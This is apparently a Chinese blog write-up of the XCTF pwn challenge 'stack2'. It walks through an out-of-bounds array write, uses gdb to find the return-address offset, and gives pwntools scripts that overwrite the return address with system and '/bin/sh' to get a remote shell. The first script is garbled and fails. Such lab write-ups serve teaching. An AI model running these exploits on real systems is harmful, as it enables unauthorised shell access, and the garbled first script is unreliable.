pwn刷题num16----寻找地址间距,栈溢出覆盖返回地址

61 篇文章 1 订阅
17 篇文章 0 订阅

攻防世界pwn进阶区stack2在这里插入图片描述

首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
在这里插入图片描述

64位,小端序
开启部分RELRO---got表仍可写
开启canary保护---栈溢出需绕过canary
开启NX保护----堆栈不可执行
未开启PIE----程序地址为真实地址
动态链接

在这里插入图片描述
运行程序,先输入数字总量,之后输入数字,会有一个菜单栏,分别实现对数字展示,添加,改变,取平均值,和退出程序五种功能。
ida看一下主函数
在这里插入图片描述
在这里插入图片描述
观察主函数,发现一处溢出数组越界漏洞,v5没有限制大小,使得数组v13[]可以越界访问数据并修改其值。

在这里插入图片描述
找找其他函数,发现了后门函数
在这里插入图片描述
(这个后门函数调用/bin/bash,但是实际运行中远程靶机没有bash,需要改为/bin/sh)

思路

可以通过数组越界逐字节修改栈上返回地址为后门函数地址
现在需要找到数组首地址,要找到数组首地址,首先要找到该数组一开始输入的地方
在这里插入图片描述
在这看数组首地址应该是v13的地方吧,

如果这样的话,数组首地址距离返回地址为0x74(0x70+0x4)字节
我们通过程序里的change选项(如下)将返回地址覆盖为(system.plt:0x08048450)及其后面(+0x4)的参数(/bin/sh:0x08048987(/bin/sh的16进制机器码))
exp

from pwn import *
#context.log_level = 'debug'
context(os = 'linux',endian = 'little',log_level = 'debug',ashch = 'i386')
sh = remote('111.200.241.244',64459)
#sh = process("./stack2")
sh.sendlineafter("How many numbeshs you have:\n","1")
sh.sendlineafter("Give me yoush numbeshs\n","1")

def change(addsh, num):
    sh.sendlineafter("5. exit\n","3")
    sh.sendlineafter("which numbesh to change:\n",str(addsh))
    sh.sendlineafter("new numbesh:\n",str(num))

#32位程序,返回地址共4字节,从低字节到高字节逐字节覆盖,system.plt:0x08048450
change(0x74, 0x50)   #system.plt:0x08048450
change(0x75, 0x84)
change(0x76, 0x04)
change(0x77, 0x08)  #0x87与0x8c差4字节(为system函数调用后的返回地址)
change(0x7c, 0x87)  #/bin/sh:0x08048987
change(0x7d, 0x89)
change(0x7e, 0x04)
change(0x7f, 0x08)  

sh.sendline("5")    

sh.inteshactive()

在这里插入图片描述
结果不行,无法获得shell,有可能是数组首地址到返回地址距离找的不对

我们查看一下输入数组数值,这里的汇编代码,更深入分析
在这里插入图片描述
在这里插入图片描述
用gdb看一下,首先在0x80486D5处断点,运行,之后输入1和2,代表数字总量为1,输入数字为2
在这里插入图片描述
在这里插入图片描述

之后看到eax存储的地址为0xffffcdf8(数组首地址)
在这里插入图片描述
查看一下0xffffcdf8处内存
在这里插入图片描述
之后单步汇编运行一下(mov [eax], cl)(命令为ni)
在这里插入图片描述
再查看一下内存,cl是单字节,所以运行完汇编命令(mov [eax], cl)后0xffffcdf8地址处末尾字节从58变为02(02即为我们输入的数字2)
在这里插入图片描述

说明v13数组首地址就为0xffffcdf8
继续运行,再查找一下返回地址----esp所存地址(0xffffce7c)__libc_start_main即为返回地址
在这里插入图片描述

距离 = 返回地址 - 数组首地址 = 0xffffce7c - 0xffffcdf8 = 0x84
我们通过程序里的change选项(如下)将返回地址覆盖为(system.plt:0x08048450)及其后面(+0x4)的参数(/bin/sh:0x08048987(/bin/sh的16进制机器码))
在这里插入图片描述
在这里插入图片描述
exp

from pwn import *
context(os = 'linux',endian = 'little',log_level = 'debug',arch = 'i386')
sh = remote('111.200.241.244',64459)
#sh = process("./stack2")
sh.sendlineafter("How many numbers you have:\n","1")
sh.sendlineafter("Give me your numbers\n","1")

def change(addr, num):
    sh.sendlineafter("5. exit\n","3")
    sh.sendlineafter("which number to change:\n",str(addr))
    sh.sendlineafter("new number:\n",str(num))

#32位程序,返回地址共4字节,从低字节到高字节逐字节覆盖,system.plt:0x08048450
change(0x84, 0x50)   #system.plt:0x08048450
change(0x85, 0x84)
change(0x86, 0x04)
change(0x87, 0x08)  #0x87与0x8c差4字节(为system函数调用后的返回地址)
change(0x8c, 0x87)  #/bin/sh:0x08048987
change(0x8d, 0x89)
change(0x8e, 0x04)
change(0x8f, 0x08)  

sh.sendline("5")    

sh.interactive()

运行获得shell
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值